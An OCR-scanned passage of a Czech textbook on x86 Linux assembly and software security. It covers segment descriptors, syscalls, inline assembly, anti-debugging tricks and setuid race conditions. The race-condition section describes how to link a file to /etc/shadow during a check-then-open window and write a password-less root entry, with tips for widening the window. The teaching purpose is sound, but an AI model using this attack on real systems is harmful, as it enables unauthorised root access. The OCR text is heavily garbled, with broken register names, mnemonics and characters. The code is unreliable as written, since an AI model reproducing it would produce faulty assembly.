jadrov zasadé nevyuZivamoznosti segmentovanépaméti. ProtoZe jea e nax86 segmentovani povinnou
Cadti adresace, musi se s tim jadro ngak vyporadat. Definovany jsou celkem 4 segmenty. Kodovy
adatovy segment pro rezim jadra, kbdovy a datovy segment pro uzivatelsky rezim.

Ve zdrojovych textech linuxového jadra nalezneme pro nastaveni deskriptorll segmentt tyto hod-
noty. Deskriptor segmentu vypada podle obrazku 2.9.

ENTRY( gdt _t abl e)
. quad 0x0000000000000000 /* NULL descriptor */
. guad 0x0000000000000000 /* not used */
. quad 0x00cf9a000000ffff /* Ox10 kernel 4GB code at 0x00000000 */
.quad 0x00cf92000000ffff /* Ox18 kernel 4GB data at 0x00000000 */
. quad 0x00cffaO00000ffff /* 0Ox23 user 4GB code at 0x00000000 */
.quad 0x00cff2000000ffff /* Ox2b user 4CB data at 0x00000000 */

Vidime, Ze vSechny segmenty za€ingji na adrese 0x00000000 a jsou veliké 4GB. Jsou kédoveé Ci
datové, nikoliv systémové. Dvajsou uréeny pro rezim jadraamaji DPL nangjvySSi Grovni opravnéni.

http://www.fsml abs.com/
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31 0
DEJA Seg. limit
B 19:16

Base 31:24 |G Type Base 23:16 +4

2/
—<
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—T0O0

%

Base 15:00 Segment limit 15:00 +0

31 0

Type — pfistup ... ¢téni, zdpis, spustitelnost

Base — pocate¢ni adresa segmentu

Limit — ur¢uje velikost segmentu, pfi G=0 je krok 1B, pfi G=1 je krok 4kB
DPL - drovein opravnéni

AVL - moZnost pouZiti systémem

DB - 0=16b segment, 1=32b segment

S — 0=systémovy segment, 1=kodovy nebo datovy segment

P — segment piitomen

G - granularita

Obréazek 2.9: Deskriptor segmentu

Dva jsou ureny pro uzivatelsky rezim a maji nginizsi Groven opravnéni. Kodové segmenty maji
v typu nastaveny pfiznaky pro Cteni a spustitelnost. Datové segmenty maji nastaveny pfiznaky pro
Cteni a zapis.

Protoze se kbdovy i datovy segment plné prekryvaji, jsou data adresovana offsetem vzhledem
k libovol nemu segmentu uloZenanastejnévirtuél ni adrese. Predstavme si napf. hodnotu 0x90 uloZenou
na adrese 0x10. Provedeme-li pfistup na adresu Ox10 s cilem zapisu, pristup se povede pres datovy
segment a bude povolen. Zkusime-li spustit data na adrese 0x10, pfistup se povede pres kodovy
segment a bude povolen. To znameng, Ze v celém virtudnim adresnim prostoru |ze provést Cteni,
zapis (nestanovi-li strankovani jinak) i spusténi. Jednotlivé segmenty a jgjich rozdilné priznaky jsou
odstinény. Zlstava pouze rozdil Urovni opravnéni DPL.

K ochrané ¢asti virtualniho adresniho prostoru proti zapisu linuxové jadro vyuZiva strankovani.
Polozka tabulky stranek obsahuje pro kazdou stranku 2 hity, které souvisi se zabezpeCenim. Jeden
bit se nazyva U/S a je obdobou DPL u segmentll. Pokud proces béZi s opravnénim CPL <3, mlize
pristupovat ke vdem strankam. Proces s opravénim CPL=3 smi pristupovat pouze ke strankam, které
maji U/S bit nastaven na 1. Druhym diileZzitym bitem je R/W. Jeho hodnota 0 znamena, Ze stranka je
prfistupna pouze pro ¢teni. Hodnota 1 symbolizuje pristup pro cteni i zapis.

Pfi pozadavku procesu o pridéleni stranky se hodnota bitu U/S nastavuje podle toho, zda Zada
jadro, nebo uzivatelsky proces. Spustitelny binarni formét je vnitfné rozdéen na sekce, u kterych jsou
priznaky na povoleni zépisu. Pri zavedeni programu do paméti stranky prebiraji priznaky z téchto
sekcl. Stranky, které se za béhu programu alokuji pro potfeby zasobniku ¢i haldy, maji ze zigimych
diivodli povoleni zapisu nastaveno.

Pfi vyhodnocovani pristupu do paméti se nejfive vyhodnocuje ochrananadrovni segmentll apotom
na trovni stranek.

MUzeme udinit dva dlleZité zavéry. Cely virtualni adresni prostor procesu je pfistupny pro Gteni

a spousteni. Stranky, které obsahuji specifické sekce binarniho spustitelného formétu, mohou byt
chranény proti zapisu. Zbytek stranek ma priznak zépisu povolen. Spustitelnému binarnimu forméatu
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ELF, ktery se pouziva na GNU/Linux systému, je vénovana priloha A.

2.3.2 Pouzité programové vybaveni

V&echny informace a ukazkové programy v nasledujicich kapitolach byly platné k témto verzim
programového vybaveni:

Distribuce Debian GNU/Linux: Woody

Linuxovéjéadro: 2.4.18

Kompilator gcc: 2.95.4
Standardni knihovna libc6: 2.2.5

L adici program gdb: 5.2.cvs2002040

GNU balik nastrojd binutils (as, objdump, Id, ..): 2.13.90.0.10
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Kapitola 3

ZaCiname programovat

3.1 Potfebnénastroje

Dokumentace ke véem néastrojiim je dostupna v podobé manuaovych stranek prikazu man.

gcc —Kompilator jazyka C a assembleru. Podporuje nastavitelnou optimalizaci i pfi vkladani ladicich
informaci.

objdump —Vhodny nastroj pro disassemblaci binarnich souborfl. Umoziuje vypis pouze vybranych
Casti ainformaci o sekcich ve spustitelném binarnim formétu ELF nebo COFF (a.out).

hexdump — Sestnactkovy a ASCII vypis souboru.

gdb — Ladici program vhodny pro krokovani. VyuZziva ladici informace vkladané pomoci gcc nebo
as.

nm —VypiSe symboly ze spustitelného binarniho formétu.

Id —Linker.

Idd —Vypisinformaci o dynamicky linkovanych knihovnach, které program pouziva
file —Podle magickych ¢isel na zatatku souboru urci jeho typ.

size — Informace o velikosti jednotlivych sekci binarniho spustitelného formétu

od — Zobrazi soubor ve zvolené Ciselné soustave.

strip — Odstrani ze spustitelného souboru ladici informace.

as — Kompilator assembleru.

16



3.2 Zaklady assembleru

3.21 Syntaxe AT&T

Ve v&ech operatnich systémech odvozenych ze systému UNIX se pouZziva assembler sesyntaxi AT& T,
viz [2]. Tato syntaxe se na prvni pohled od znamé&si Intel syntaxe velmi liSi. V Intel syntaxi se pfed
registry a hodnotami nepouziva zadny prefix. V. AT&T syntaxi je pred registry prefix "%" a pred
hodnotami prefix ”$". Intel syntaxe pro oznateni hexadecimaniho resp. binarniho €isla pouZiva suffix
"h” resp. "b”. Pokud je prvni hexadecimalni cifra znak A-F, potom se hodnota oznaci prefixem ”0".

Poradi operandlljev AT& T syntaxi obracené oproti Intel syntaxi. U Intel syntaxe je prvni operand
cil adruhy zdroj. AT& T syntaxe uvadi prvni zdroj a druhy cil. Oba zplisoby maji své zdlvodnéni.
U Intel syntaxe je poradi operandll dano jako pfi psani rovnice. Tedy nejvice nalevo je uvedena
proménng, do které ulozime vydedek z pravé strany rovnice. AT& T syntaxe oproti tomu vyuziva
prirozeného stylu &teni zleva doprava. Slovni prikaz " Dej tu skleni¢ku prosim na sttil” by sev AT&T
zapsal "dej sklenicka, stiil”.

Intel AT&T

mov ebx, eax movl %oeax, Yoebx
mov eax, 0A20h | movl $0xA 20, Yoeax
int 80h int $0x80

Zapis adresy se take lisi. Intel syntaxe pouziva hranaté zavorky. AT& T syntaxe pouziva kulaté
zavorky. Komplexni tvar prikazu pro vypoCet adresy je u AT& T syntaxe hlife Citelny nez v Intel
syntaxi. To je snad jedina nevyhoda AT& T syntaxe.

Intel AT&T

segreg:[base+index* scalet+offset] | segreg:offset(base,index,scale)
mov eax, [ebx] movl (%ebx), Yoeax

mov eax, [ebx+3] movl 3(%ebx), Yoeax

AT& T syntaxe prikazy doplnuje sufixem, ktery znaci velikost operandu.

e "|” (long) - 32b
e "W (word) - 16b
e "b” (byte) - 8b

AT&T syntaxe neni nezbytna znalost pro programovani v assembleru pod Linuxem. Prekladag,
jako napf. nasm®, umi Intel syntaxi. Na Linuxu je ngjpouzivangj prekladat jazyka C program gcc.
Ten ovSem generuje kod v AT& T syntaxi. Program prelozeny do assembleru je predan kompiléatoru
as. Vydedny objektovy soubor potom zpracuje linker |d. Debugger gdb, stejné jako neocenitelny
pomacnik program objdump, také pouzivaji AT& T syntaxi.

http://nasm.sourceforge.net/
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3.2.2 Funkcejadraaknihovni funkce
Navesti _start amain

Budeme-li v naSem programu pouZivat pouzevol ani funkci jadra, staci nam pouZit nazatatku programu
navesti _start. Toto je startovaci navésti definované ve forméatu ELF. Program musime ukongit volanim
jédrasys_exit. Pri pouziti knihovnich funkci knihovny libc (ajinych) budememuset k naSemu programu
pfikompilovat mnoho kédu navic. To nejlépe provedeme s pomoci kompilatoru gec. Navesti, které
hleda gec, se jmenuje main. Pripoji se standardni startovaci sekvence z libc?. Ta v sobé obsahuje
i navésti _start, které format ELF vyZaduje. V této startovaci sekvenci se po navésti _start provede
jenom nezbytna inicializace a potom se zavola funkce main(). Navésti _start a main musime oznacit
direktivou .globl, aby byly viditelné pro linker.

Volani funkci jadra v assembleru

V&echny funkce jadra (syscalls) jsou &iselné definovany v souboru /usr/include/sys/syscall.h. Cislo
volani se vloZi do registru EAX. Argumenty funkci jadra se zleva vkladaji do veobecnych registri.
Pofadéjeto EBX, ECX, EDX, ESI, EDI. Ukazka je na obrézku 3.1.

Jak je vidét, pro volani, ktera maji vice nez 5 argumentll, se musi pouZit jiny zplisob. Do regis-
tru EAX se opét vlozi Ciso volani. Do paméti za sebe naskladame ostatni argumenty. Do registru
EBX potom vloZime ukazatel na potatek tohoto pole. VSechna volani jadra se potom spusti pomaoci

softwarového preruSeni int $0x80. Navratova hodnota volani je ulozena do registru EAX.

Jedinou vyjimku z vyySe uvedenych pravidel jevolani funkcejadrapro socket. Doregistru EAX vio-
Zime €ido volani sys_socket. Do registru EBX vlozime ¢id o, které specifikuje konkrétni funkci. Napr.
listen(), accept(), bind() a podobng. Cisla téchto funkci jsou ulozena v soboru /usr/include/linux/net.h.
Argumenty funkce potom ulozime jako pole do paméti a do registru ECX vlozime ukazatel na toto
pole.

Volani knihovnich funkci

Misto primého volani funkci jadra mtizeme pouZit knihovnich funkci. Argumenty v pofadi zprava
doleva vloZime na zasobnik. Potom provedeme samotné volani pomoci instrukce call ” funkce” .
Ukéazka je naobrazku 3.2.

2Viz odstavec pfilohy A.2 nastrané xi
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#hellol.s

#kompilace:
# as -0 hellol.o hellol.s
# |d -0 hellol hellol.o

.data
msg: .string " ahoj svete\n”
endmsg:
text
.globl _start
_Start:
movl $4, %eax #sys write = 4
movl $1, %ebx #zapis na stdout, file deskriptor 1
lea msg, %ecx #adresa Fetézce
movl $(endmsg—msg), %edx #déka Fetézce
int $0x80 #samotné zavolani
xorl %eax, %eax
inc Yeax #oys exit = 1
xorl %ebx, %ebx #navratova hodnota 0
int $0x80 #samotné voléani
Obrazek 3.1: Pouziti volani jadra na programu ” Ahoj svéte”
#hello2.s
#kompilace:

# gcc -0 hello2 hello2.s

msg:
endmsg:

main:

.data
.string " ahoj svete\n”

text
.globl main

pushl $(endmsg—msg) #délka Fetézce

pushl $msg #adresa Fetézce
pushl $1 #zapis na stdout, file deskriptor 1
cal write #volani fce write z libc

addl  $12, %esp #uklidime argumenty ze z&sobniku

pushl $0 #navratova hodnota
call exit #volani fce exit z libc

Obrazek 3.2: Pouziti knihovnich funkci libc na programu " Ahoj svéte’
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3.2.3 Prenled dilezitych volani jadra

Jméno volani | Desitkova hodnota
sys exit 1
sys.write 4
sys_open 5
sys.execve 11
sys_setuid 23
sys chroot 61
sys_dup2 63
sys socket 102

3.24 Rozdily systému FreeBSD

Nazev FreeBSD se pouziva jak pro oznaCeni celé distribuce, tak pro jadro OS. FreeBSD je zalo-
Zeno na verzi UNIXu z univerzity v Berkeley, pfesngji z verze 4.4BSD-Litel. Vlastnosti Berkeley
UNIXu 4.4BSD byly s oficianim UNIXem System V od Bell Laboratories sjednoceny normou PO-
SIX. GNU/Linux také spliiuje vétSinu pozadavkt normy POSIX. Diky tomu se software mezi obéma
platformami snadno prenasi. Jadro FreeBSD dokonce obsahuje rezim, pomoci kterého dokaze byt
sLinuxem i binarné kompatibilni. O vykonu a stabilité jadra FreeBSD oproti Linuxu se vedou dlouhé
diskuze.

Programovani v assembleru na FreeBSD ma nékteré specifické odlisnosti. Argumenty se vzdy
vkladaji na zasobnik. NezéleZi na tom, jestli se jedna o volani jadra nebo volani knihovni funkce.
Cislo volani jadra se nadale uklada do registru EAX. Volani jadra oéekéava svoje parametry 4B nad
vrcholem zasobniku stejng, jako kdyz se vola knihovni funkce. Ukéazka je na obrazku 3.3.

Verze s pouzitim knihovnich funkci je identicka s Linuxem.

3.3 Assembler vkladany do jazyka C

Obgas se nam miize stét, Ze Cast kodu v assembleru potfebujeme vlozit do jazyka C. Je to mozné
pomaci direktivy asm nebo __asm__. Pokud chceme, aby vkladany assembler byl zkompilovan presné
tam, kde je ajak je (tedy vyhnout se optimalizaci), pouzijeme kliGové dovo _volatile__. Jednoduché
funkce vidime na obrazku 3.4.

Zmeéni-li naSe instrukce obsah nékterych veobecnych registrli, musime pouZzit takzvany rozsi-
feny vkladany assembler. Pomoci ného dame kompilatoru gcc najevo, které registry jsme zmenili,
aby uz dale nepotital s jejich plivodnim obsahem. Kdyby ve funkci end() na obrazku 3.4 neSo
0 volani sys_exit, po kterém se program bezprostfedné ukonci, tak by dal& provadeéni kodu velmi
pravdépodobné skontilo chybou. Déle je na obrazku uvedena moznost definice maker s vkladanym
assemblerem.

3hitp://www.byte.com/documents/s=1794/byt20011107s0001/
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#hello3.s

.data
msg: .string " ahoj svete\n”
endmsg:
text
.globl _start
_Start:
pushl $(endmsg—msg) #délka Tetézce
pushl $msg #adresa Fetezce 10
pushl $1 #zapis na stdout
movl $4, %eax #sys write = 4
cal syscall #provedeme volani pomoci call
#tim se argumenty dostanou 4B nad vrchol zasobniku
addl $12, %esp #uklidime zasobnik
pushl $0 #navratova hodnota
movl $1, %eax #oys exit = 1
cal syscall #volani pomoci call
20
sycal:
int $0x80 #samotné volani jadra
ret #navrat z podprocedury
Obrazek 3.3: Rozdil ve volani funkci jadra na FreeBSD oproti Linuxu
[* ukazka definice makra */
#define disable __asm__ __volatile_._ ("cli ™)
#define enable __asm__ __volatile__ ("sti”)
I* ukézka definice funkce */
void end() {
__asm__("
movl $1, %ax [//sys_exit
xorl %ebx, %ebx
10

i nt $0x80
"),

Obréazek 3.4: Jednoduchy vkladany assembler do jazyka C
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3.3.1 Roz8ifeny vkladany assembler

RozSifeny vkladany assembler matento tvar zapisu (odvozeno z Watcom syntaxe):
\ _asm__("instrukce” : vystupni registry : vstupni registry : zmenéné registry);

Ve vstupni a vystupni ¢asti rozsifeneho vkladaného assembleru se pro oznateni registrll miize
pouzit téchto zkratek (musi byt v uvozovkach):
Yoeax
%ebx
%ecx
%edx
%esi
%oedi
libovolny z registrli %eax, %ebx, %ecx, %oedx
libovolny z registrli jako u q a navic %esi, %edi
zkombinované %eax a %edx na 64b dlouhé celé Cislo

>=~0o0|lUOnooocow

Vyraz v jazyku C, jehoz hodnotu chceme uloZit do registru, musime dat do kulatych zavorek.
V stupnich, vystupnich a modifikovanych registrti mtize byt uvedeno vice, potom je oddé& ujeme &ar-
kami. V seznamu zménénych registril uvadime v uvozovkach plnajménaregistril. V instrukéni &asti se
pred jméno registru vklada jesté jeden znak " %" . Vystupni registry uvozujeme prefixem ”=". Registry,
které pouzijeme jako vstupni a vystupni, nemusime uvadét do seznamu zménénych registril. gec do
vstupnich avystupnich registrli uloZi pozadovanou hodnotu a dale pocita, Ze tam tato hodnota je.

_casm__("cld
rep stosl”
. [* Zadné vystupni registry */
:"c¢” (count), "a” (fill_value), "D’ (dest)
D% ecex”, "%edi” );

Obrazek 3.5: Rozsifeny vkladany assembler do jazyka C

Vydedkem Casti kbédu na obrazku 3.5 bude zkopirovani hodnoty fill value na adresu dest. Kopi-
rovani se provede podle hodnoty count. Jediny registr EAX se nezménil. Hodnota v registru ECX se
postupné snizuje a ukazatel v EDI zvy3uje. Musime tedy oba registry uvést do seznamu zménénych
registrll. Tim oznamime gcc, Ze v téchto registrech uz dale neni hodnota, ktera tam byla pied blokem
vkladaného assembleru, aani tam neni hodnota, kterou jsme nastavili ve vstupni ¢asti.

V pripadé, Ze nepotfebujeme pouZit konkrétni registr, je gcc schopno vybrat samo vhodny registr.
Tento vhodny registr vybere tak, aby v ném jiz z pfedchoziho provadéni kédu byla pozadovana
hodnota. Nebo se pouzije registr, ktery je volny. Pri pouziti této optimalizace se registry oznatuji
symboly %0 aZz %9. OCislovani registrli se d&je zleva doprava potingje vystupnimi registry a konce
vstupnimi registry.
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[* rozsirasm2.c

* Kompilace:

* gcc rozsirasm2.c -0 rozsirasm?2
* Spusténi:

*  [rozsirasm2

*/

#include <stdio.h>
10

int main() {
int x=10, y=20;
__asm__ __volatile__(" addl %ebx, %eax”
: "=eax” (X) IIvystup
:7eax” (x), "ebx” (y) /lvstup
/lzména zfgma z vystupu
)i
printf (" x+y =%\ n” ,x);
return O;
} 20

Obrazek 3.6: Zménéna obsahu registrii

Prejeme-li s pouZzit tentyz registr, ktery byl oznaten symboly %0 az %9 ve vstupné-vystupni ¢asti,
odkazujeme se symboly "0 az "9”. Ve je ukazano na obrazku 3.7.

int multi5(int x) {
_casm__("lea (9%, %, 4), %W
"=r” (x) [livystup
"0" (x) [istup
)i

return x;

Obrazek 3.7: Velmi rychlé nasobeni 5ti

Nejdfive gcc oznamime, Ze obsah nékterého z registrll EAX az EDX aESlI, EDI budeme vefinde
chtit ulozit do proménné x. Nechame gcc, aby samo vhodny registr vybralo, a budeme ho oznaCovat
znakem 9%0. Dale gcc oznamime, Ze hodnotu proméné x chceme uloZzit do registru, ktery si uz oznacil
Cidem 0. Timto se nam tedy povede provést celé nasobeni pouze pomoci jednoho registru. Navic také
pouze v jednom cyklu pomoci instrukce lea. Vypocet probihatakto: Necht vybranym registrem jetfeba
EAX. Do EAX ulozime hodnotu proméné x. Volani instrukce lea se rozvine do lea (Yoeax,%eax,$4),
%eax. VypocCet adresy jiz zname. Zapis posun(zaklad, index, méfitko) odpovida vypoctu zaklad +
index* mé¥itko + posun.
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Poslednim prikladem bude ziskani poctu provedenych cyklt procesoru od zapnuti pocitate a ulo-
Zeni do 64b proménné stamp. Instrukci rdtsc (implementovana od modelu Pentium) pro zajimavost
zakodujeme pfimo ve strojovém kodu. Obrazek 3.8. Vice informaci o vkladaném assembleru v litera
ture [2].

_—asm__(". byte 0xOf ; .byte O0x31” //instrukce rdtsc
;" =A" (stamp) IIvystup
: /lzadny vstup
;" Y%eax”, " Y%edx” ); //lzménéné registry

Obrazek 3.8: Ziskani pottu provedenych cykll procesoru
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Kapitola4

Ochrana kodu - antidebugging

Snaha skryt implementatni detaily je Casta napf. u softwarovych ochran proti nel egalnimu kopirovani.
Utognik sice vzdy miize provést analyzu disassemblovaného kodu, ale existuji postupy jak tuto analyzu
ztizit. Je nutné fici, Ze Uplné zabezpeCeni neni mozné. Bude-li Utocnik znét dobfe strojovy kod, tak
faleSna disassemblace nebo nemoznost trasovani ho nezastavi.

Prvnim krokem musi byt odstranéni tabulky symbolt pomoci programu strip. Tim se zbavime
spojitosti s plivodnim zdrojovym programem v jazyku C. Program, ktery jiZ neobsahuje Zadné navesti,
se velmi Spatné trasuje. Breakpointy jiz je napfiklad mozné nastavovat jenom podle adresy. Najit
v disassemblaci z programu objdump ¢ast, ktera je zajimava, je také pomérné tézké a vyzaduje mnoho

zkuSenosti. NejspolehlivéSi ochranaazmateni Gtocnikaspocivav kombinaci nékterych z nas edujicich
metod.

4.1 Faledny disassembler

Pojdme se podivat na ochranu prvni - faledny prevod ze strojového kodu do assembleru. Provedeme
ho elegantnim skokem doprostied instrukce. NaSe skuteCna instrukce bude zaCinat praveé uprostied
instrukce jiné. Disassembler toto samoziejmé nepozna a bude se plivodni instrukci snazit dekodovat
celou. Tim dojde v disassemblaci k posunu oproti skute€nému toku instrukci. Pfiklad na obrazku 4.1.

Zakomentujeme-li €ast vkladaného assembleru ve zdrojovém textu antidebugl.c, disassemblace
bude vypadat podle obrazku 4.2. Nechame-li ochranu nezakomentovanou, dostaneme vypis obdobny
obrazku 4.3.

Disassembler nejdfive narazi na strojovy ekvivalent instrukce jmp antidebug. Preklad do assem-
bleru se provede spravné. Poté narazi na strojovy kod 9a00. O kddu 9a disassembler vi, ze patfi
instrukci Icall a jeho soucasti je jesté 6 dalSich bytll. Tudiz strojovy kod, ktery jiz odpovida volani
funkce protect(), preloZi jako dalSi byty instrukce Icall. Tim dojde k posunu.
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[* antidebugl.c

* Kompilace:

* gece antidebugl.c -0 antidebugl -g
*/

void protect() {}

int main() {
__asm__("
j mp anti debug
. short 0x009a
ant i debug:
");

protect();
return O;

}

Obrazek 4.1: Ochrana pomoci faledné disassemblace

(gdb) disassemble main

Dump of assembler code for function main:

0x80483c8 <main>: push  %ebp

0x80483c9 <main+l>: mov  %esp,%ebp
0x80483cb <main+3>: sub $0x8,%esp
0x80483ce <maint6>: call 0x80483c0 <protect>
0x80483d3 <main+11>: xor Yeax,%eax
0x80483d5 <main+13>: jmp  0x80483d7 <main+15>
0x80483d7 <main+15>: leave

0x80483d8 <main+16>: ret

End of assembler dump.

(gdb)

Obrazek 4.2: Disassemblace antidebugl.c bez ochrany
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(gdb) disassemble main
Dump of assembler code for function main:

0x80483c8 <main>: push  %ebp

0x80483c9 <main+tl>: mov  %esp,%ebp

0x80483cb <main+3>: sub  $0x8,%esp

0x80483ce <maint6>: jmp  0x80483d2 <antidebug>
0x80483d0 <main+8>: lcal  $Oxffff, $0xffe9e800
0x80483d7 <antidebug+5>: xor %eax,%eax
0x80483d9 <antidebug+7>: jmp  0x80483e0 <antidebug+14>
0x80483db <antidebug+9>: nop

0x80483dc <antidebug+10>: lea 0x0(%esi,1),%esi
0x80483e0 <antidebug+14>: leave

0x80483el <antidebug+15>: ret

End of assembler dump.

(gdb)

Obrézek 4.3: Falesny disassembler

Tento posun se v&ak po nékolika instrukcich miize ztratit. ZaleZi, jak brzy se ve faledné disassem-
blaci objevi jedno a dvou bytové instrukce. Diky nim brzy dojde ke ztraté posunu. Je proto vhodné
opravdu duleZitou rutinu opakované prokladat obdobnymi konstrukcemi.

Jak se této ochrany zbavit? MUZe se nam stat, Ze budeme stat napriklad proti viru, ktery bude
zabezpeen touto technikou. VEmneme si toho pomérné snadno. V disassembleru uvidime skok na
adresu, ktera odpovida skoku do poloviny ngjakéinstrukce. Nejsou-li odstranény nazvy navesti funkci,
tak viditelny skok doprostfed funkce je také pozdeziely. Staci s spotitat kolik bytl skok predstavuje.
V nékterém z mnoha hexa-editorl tyto preskakované byty prepiseme instrukci o stejném pottu byt
Funkci programu to nijak neovlivni, protoze tato instrukce bude preskocena. Vypis disassembleru
v&ak jiz nyni bude spravné zarovnan. Nejvhodngsi je opakované pouZit instrukci nop, které odpovida
pravé jeden byte. Jgi hodnota je 0x90.

4.2 Falednébreakpointy

Jinym druhem ochrany miize byt zakaz nastaveni breakpointu. Nastaveni breakpointu debugger gdb
provede zapsanim instrukce int3 (opkdd Oxcc). Nastavujeme-li breakpoint pfimo na konkrétni adresu
ZapiSe se naobsah této adresy Oxcc. Provedeme-li nastaveni breakpointu pomoci jménafunkce, debug-
ger uloZi hodnotu Oxcc az 0 4B déle od adresy funkce. PfeskoCi takzvany prolog funkce. Vices o ném
povimev odstavci 6.2 nastrangé 42. Instrukce int3 zastavi provadéni programu. Debugger po zastaveni
sam zgjisti opétovné ulozeni plivodni hodnoty na prepsaném misté v paméti. Implementace ochrany
proti breakpointim miize vypadat tfeba podle obrazku 4.4. Priklad nastaveni faleSného breakpointu je
na obrazku 4.5.
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[* antidebug2.c
* Kompilace:
* gcc antidebug?.c -o antidebug?
Test:
gdb ./antidebug?2
(gdb) break protect
(gdb) run

* % X %

*
~

#include <stdio.h> 10
void protect() {}

int main() {

if ( (*(volatile unsigned *)((unsigned)protect+3) & Oxff) == Oxcc ) {

printf (" Nedovol eny br eakpoi nt\n");

exit(1);
}
protect();

20

[* vlastni program */

return O;

Obrazek 4.4: Zakazani breakpointu

[* antidebug3.c

* Kompilace:

* gcc antidebug3.c -0 antidebug3
* Test:

* gdb ./antidebug3

*  (gdb) run

*/

#include <signal.h>
void handler(int signum) {} 10

int main() {
signal (SIGTRAP,handler);
—-asm__("i nt3");

[* vlastni program */

return O;

Obrazek 4.5: Nastaveni faleného breakpointu
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Jak vidime, sta€i vlozit instrukci int3. Volani instrukce int3 vyvola signal SIGTRAP. Proto pokud
chceme, aby se faledny breakpoint projevil pouze pfi krokovani, musime tento signal odchytit a ob-
souzit. Pokud bychom se pokusili nastavit faleny breakpoint pfimym zépisem do paméti na danou
adresu, nepochodili bychom. Textova ¢ast programu (sekce .text) je ulozena v paméti pouze pro Cteni.
Jediné rodiCovsky proces, ktery détsky proces trasuje pomoci volani ptrace(), mavechno povoleno.
Plyne z toho, Ze neni mozné trasovat proces init. Tento proces je prapredkem vSech procesti a nema
rodice. Také neni moZné trasovat programy, které maji nastaven Set-UID bit a nepatfi nam nebo nasi
skupiné.

4.3 Zakaztrasovani

Posledni metodou ochrany je zakaz trasovani. Funkce ptrace(PTRACE_TRACEME) nemlize byt
na jeden proces zavolana vice nez jednou. O jedno volani se v programu pokusime sami. Skonci-
li nelispéchem, je zZigmé, Ze nas nékdo (programy strace, ltrace, gdb, ...) trasuje a ukonCime se.
Implementace je na obrézku 4.6.

[* antidebug4.c

* Kompilace:

* gcc antidebugd.c -0 antidebug4
* Test:

* gdb ./antidebug4

*  (gdb) run

*/

#include <syg/ptrace.h>
10
int main() {
if ( ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
printf (" Nepf ej eme si krokovani\n”);
exit(1);

}
[* vlastni program */

return O;

Obrazek 4.6: Zakaz trasovani
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Kapitola5

Zaciname se br anit

Udéleime s nyni prehled vlastnosti programtl, které jsou zajimavé pro (toéniky. Seznamime se
s metodami, které (tocnici pouzivaji.

5.1 Prostredi

V GNU/Linux systému, stejné jako na ostatnich systémech odvozenych z OSUNI X, je kazdy uzivatel
identifikovan svym cislem. Toto Cido oznatujeme jako UID (User Identification). Seznam téchto Cisel
spoletné salfanumerickym vyjadfenim jménauzivatel e je ulozen v souboru /etc/passwd. UID sc¢islem
0 je vyhrazeno uzivateli se jménem root. Root je specialni uZivatel ureny pro administraci systému.
Jeho ¢innost nad systémem neni omezena zadnymi bezpetnostnimi zabranami. Hedla k jednotlivym
uzivatelskym kontlim jsou v zakryptovaném tvaru také ulozena v souboru /etc/passwd. Novégi mohou
byt v souboru /etc/shadow.

Spustény program vlastni informaci o tom, ktery uzivatel provedl jeho spusténi. Ve strukture,
kterou jadro uchovava pro kazdy proces, je mimo jiné polozka RUID (Real UID). Do polozky RUID
se pri spousténi programu zkopiruje UID uZivatele. Nyni ma program nad adreséfi a soubory stejna
pravajako uzivatel ktery jg spustil. Napriklad soubor /etc/shadow obsahujici zakryptovany tvar hesel
k uzivatelskym kontlim ma prava nastavena tak, aby ho mohl &ist a modifikovat pouze uZivatel
root. Bé&Zznému uzivateli, presngji feteno jeho procesiim, se nepovede obsah tohoto souboru &ist nebo
modifikovat.

Co kdyZ s ale uZivatel bude chtit zménit své hedo? Jeho prava mu zapis do souboru /etc/shadow
neumozni. Z toho diivodu makazdy program moznost mit nastaven takzvany Set-UID bit. Ve strukture
j&dra pro kazdy proces je dal§i polozka se jménem EUID (Effective UID). Za normalnich okolnosti
je hodnota EUID stegina jako RUID. Je-li nastaven u programu Set-UID bit, potom hodnota pol ozky
EUID odpovida UID mgjitele souboru anikoliv UID uzivatele, ktery program spustil.

Pokousi-li se proces 0 manipulaci se soubory, vzdy se testuji obé opravnéni RUID i EUID.
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Odpovida-li alespon jedna hodnota, pak je operace povolena.

Nejzajimavési jsou programy s nastavenym Set-UID bit, které viastni uzivatel root. Vyse uve-
dené informace plati obdobné i pro skupiny. Odpovidajici polozky se jmenuji RGID (Rea Group
Identification) a EGID (Effective Group Identification).

Kazdy program, ktery potfebuje mit nastaven Set-UID hit, by s mé efektivni prava nechat pouze
po dobu nezbytné nutnou. Chyba pfi programovani miize zplisobit, Ze se uZivateli povede spustit jeho
vlastni kod se stejnymi pravy jako mé chybny program.

5.2 Casové zavislé chyby - race conditions

Zvla&tnim zplisobem (toku je vyuZiti asové zavislych chyb. V&imat si budeme pouze oblasti souvise-
jicich skritickymi sekcemi. Obecné tento druh Utoku neni pfilis vyuzivany pro jeho malou efektivitu.
Pfi tomto druhu Gtoku zpravidla neni mozné spustit zadny uzivatel sky koéd navic. Misto toho ziskame
pristup ke zdrojoim, které ma Set-UID (Gi jiny zgjimavy) program alokované.

Situaci, kdy se dva nebo Vvice procesil pokousi Gist nebo zapisovat do sdilenych dat a vysledek je
zavidy na Gasové posloupnosti pridéleni procesoru jednotlivym procestim, oznatujeme jako Casové
zavidou. Odpovidajici anglicky termin jerace condition.

Predstavme s textovy editor, ktery z ngjakého diivodu ma nastaven Set-UID bit a patfi uzivateli
root. Po obdrzeni signdlu SIGTERM chceme rozepsany soubor pfed ukonéenim uloZzit na disk. Pred
ulozenim provedeme nékolik testll. Zda soubor existuje, zda patfi uzivateli azdaje to textovy soubor.
Ukéazkova ¢ast by mohla vypadat takto:

struct stat st;

if ( stat(name, &st) < 0) /I soubor nenalezen

if (st.st_uid !'= getuid() ) // soubor nepatfi uzivateli

if (IS_.ISREG(st.st_mode) ) /I neni to textovy soubor
fopen(name,” W' );

Obrazek 5.1: Casové zavisiée chyby

Nebezpeti spotiva v tom, Ze cela tato sekvence nemusi probéhnout atomicky. Pokud se nam
v dob& mezi poslednim testem aotevienim povede ze souboru name udéat link na soubor /etc/shadow
azapiSeme "root:1:99999:::::”, mame uzivatele root bez heda

Tato doba je velmi mala, nicméné je redna Systém zahltime mnozstvim skriptll ve stylu

while(1) {}. Atakovany program pustime s co ngimensi prioritou: nice -n 20 program. A ted uz
jenom pomoci dalSich skriptll stagi provést tisice Utokl. Trasovani Set-UID programil sice neni
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mozné pokud nejsme jgjich viastniky (nebo nepatfime do prislusné skupiny), ale signaly SIGSTOP
a SIGCONT vyslané z klavesnice funguiji spolehlive.

KdyZ uz je soubor jednou otevien, zadné operace nad jeho jménem nemaji vliv na jeho obsah.
